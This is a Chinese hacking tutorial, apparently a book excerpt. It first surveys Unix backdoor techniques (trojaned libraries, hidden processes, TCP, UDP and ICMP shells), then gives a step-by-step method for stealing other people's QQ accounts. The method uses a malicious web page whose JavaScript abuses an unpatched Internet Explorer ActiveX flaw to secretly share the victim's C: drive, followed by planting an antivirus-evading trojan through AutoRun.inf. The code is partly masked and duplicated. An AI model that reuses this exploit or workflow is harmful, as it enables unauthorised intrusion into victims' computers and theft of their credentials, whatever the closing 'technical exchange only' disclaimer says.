几乎所有的 UNIX 系统使用共享库，共享库用于相同函数的重用而减少代码长度。一些入侵者在象 crypt.o 和 \_crypt.o 这些函数里作了后门；象 login.o 这样的程序调用了 crypt()。当使用后门口令时产生一个 shell。因此，即使管理员用 MD5 检查 login 程序，仍然能产生一个后门函数，而且许多管理员并不会检查库是否被做了后门。对于许多入侵者来说有一个问题是一些管理员对所有东西多作了 MD5 校验，有一种办法是入侵者对 open() 和文件访问函数做后门。后门函数读原文件但执行 trojan 后门程序。所以 当 MD5 读这些文件时，校验和一切正常，但当系统运行时将执行 trojan 版本的，即使 trojan 库本身也可躲过 MD5 校验，对于管理员来说有一种方法可以找到后门，就是静态编连 MD5 校验程序然后运行，静态连接程序不会使用 trojan 共享库。

### <9>内核后门

内核是 Unix 工作的核心，用于库躲过 MD5 校验的方法同样适用于内核级别，甚至连静态连接都不能识别。一个后门作的很好的内核是最难被管理员查找的，所幸的是内核的后门程序还不是随手可得，每人知道它事实上传播有多广。

### <10>文件系统后门

入侵者需要在服务器上存储他们的掠夺品或数据，并不能被管理员发现，入侵者的文章常包括 exploi 脚本工具，后门集，sniffer 日志，email 的备份，原代码，等等！有时为了防止管理员发现这么大的文件，入侵者需要修补 "ls", "du", "fsck" 以隐匿特定的目录和文件，在很低的级别，入侵者做这样的漏洞：以专有的格式在硬盘上割出一部分，且表示为坏的扇区。因此入侵者只能用特别的工具访问这些隐藏的文件，对于普通的管理员来说，很难发现这些 "坏扇区" 里的文件系统，而它又确实存在。

### <11>Boot 块后门

在 PC 世界里，许多病毒藏匿与根区，而杀毒软件就是检查根区是否被改变。Unix 下，多数管理员没有检查根区的软件，所以一些入侵者将一些后门留在根区。

### <12>隐匿进程后门

入侵者通常想隐匿他们运行的程序，这样的程序一般是口令破解程序和监听程序 (sniffer)，有许多办法可以实现，这里是较通用的：编写程序时修改自己的 argv[] 使它看起来象其他进程名。可以将 sniffer 程序改名类似 in.syslog 再执行，因此 当管理员用 "ps" 检查运行进程时，出现的是标准服务名。可以修改库函数致使 "ps" 不能显示所有进程，可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现。使用这个技术的一个后门例子是 amod.tar.gz：

<http://star.niimm.spb.su/~maillist/bugtraq.1/0777.htm> 网络通行。这些网络通行后门有时允许入侵者通过防火墙进行访问。有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问。因为这是通过非标准网络端口的通行，管理员可能

## 黑客入门 (超级详细版)

忽视入侵者的足迹。这种后门通常使用 TCP, UDP 和 ICMP, 但也可能是其他类型报文。

### <14>TCP Shell 后门

入侵者可能在防火墙没有阻塞的高位 TCP 端口建立这些 TCP Shell 后门。许多情况下, 他们用口令进行保护以免管理员连接上后立即看到是 shell 访问。管理员可以用 netstat 命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉。通常这些后门可以让入侵者躲过 TCP Wrapper 技术。这些后门可以放在 SMTP 端口, 许多防火墙允许 e-mail 通行的。

### <15>UDP Shell 后门

管理员经常注意 TCP 连接并观察其怪异情况, 而 UDP Shell 后门没有这样的连接, 所以 netstat 不能显示入侵者的访问痕迹, 许多防火墙设置成允许类似 DNS 的 UDP 报文的通行, 通常入侵者将 UDP Shell 放置在这个端口, 允许穿越防火墙。

### <16>ICMP Shell 后门

Ping 是通过发送和接受 ICMP 包检测机器活动状态的通用办法之一。许多防火墙允许外界 ping 它内部的机器, 入侵者可以放数据入 Ping 的 ICMP 包, 在 ping 的机器间形成一个 shell 通道, 管理员也许会注意到 Ping 包暴风, 但除了他查看包内数据, 否则入侵者不会暴露。

### <17>加密连接

管理员可能建立一个 sniffer 试图某个访问的数据, 但当入侵者给网络通行后门加密后, 就不可能被判定两台机器间的传输内容了

解析：黑客通过网页窃取 QQ 方法

要想偷别人的 QQ, 方法有很多了。利用恶意网页使对方的电脑被共享出来是很有趣的一招。

方法是：在你的网站网页中加入如下内容的代码：

```
< script language=Java Script>
document.write("< APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent> < /APPLET> ");
function f()
{*****};
al.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
al.createInstance()
Shl=al.GetObject()
Shl.RegWrite("HKLM/Software/Microsoft/Windows/CurrentVersion/Network/LanMan/RPC$/Flags",302,"REG_DWORD");
Shl.RegWrite("HKLM/Software/Microsoft/Windows/CurrentVersion/Network/LanMan/RPC$/Type",0,"REG_DWORD");
Shl.RegWrite("HKLM/Software/Microsoft/Windows/CurrentVersion/Network/LanMan/RPC$/Path","C://");}
function init()
```

## 黑客入门 (超级详细版)

```
{setTimeout("f()",1000);}
{*****}
init()
< /script>
document.write("< APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent> < /APPLET> ");
function f()
{*****};
al.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
al.createInstance()
Shl=al.GetObject()
Shl.RegWrite("HKL\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\L
anMan\\RMS\\Flags",302,"REG_DWORD");
Shl.RegWrite("HKL\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\L
anMan\\RMS\\Type",0,"REG_DWORD");
Shl.RegWrite("HKL\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\L
anMan\\RMS\\Path","C://");}
function init()
{setTimeout("f()",1000);}
{*****}
init()
< /script>
```

上面的代码大家一定很容易读懂，简单说来就是通过修改对方注册表中的键值，把对方的C共享出来，如果想让对方的其他盘都共享请自行设置。

述代码中 {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}Windows Scripting Host (WSH)的外壳对象。WSH是微软提供的一种基于 32位Windows平台的、与语言无关的脚本解释机制，使得脚本能够直接在Windows桌面或命令提示符下运行。WSH使得脚本可以被执行，就象执行批处理一样。以“Shl.RegWrite”开头的这几句代码的作用是写入浏览者的注册表，就是我们使得对方的硬盘被共享的。把“Flags”的键值设为 00000302可以隐藏共享，使对方无法发现，非常隐蔽。

网页做好后，把它上传你的主页空间，骗他浏览你的网页（就看你的嘴皮子功夫了），如果对方的IE没有打补丁（网上这样的电脑有很多），就可以把他的C盘共享出来。整个方法的原理就是把 com.ms.activeX.ActiveXComponent对象嵌入<APPLET>标记中，这样会导致任意创建和解释执行ActiveX对象，使我们可以创建任意文件、运行程序、写注册表。未打补丁的IE，在打开含有上述代码的网页时不会有任何警告，我们就是利用这个漏洞把对方的硬盘被共享出来。

等对方中招后，就把对方的硬盘映射过来，可以使用 net use命令，也可以使用网络刺客 I 等软件。下一步可以给对方植入一个盗QQ的软件，比方说非法内容等，注意一定要用 ASPac或其他加壳软件给木马加壳（其实就是另类“压缩”），防止杀毒软件发现。

最后，打开记事本键入以下内容：

```
[AutoRun]
```

## 黑客入门 (超级详细版 )

open=winnt32.exe

保存为 AutoRun.inf，其中的 winnt32.exe 为木马文件。把 AutoRun.inf 和 winnt32.exe 一起拷到对方某分区的根目录下。这样，只要他双击该分区就会中木马！这样可以大大的增加木马运行的主动性！须知许多人现在都非常警惕，不熟悉文件他们轻易的不会运行，而这种方法就很难防范了。

以后，你就等着用邮箱收信收对方的 QQ 密码吧。

注意，本文只是技术交流，大家不要随意盗取别人的 QQ。同时为了保障安全我们没有完全刊登源代码。敬请原谅！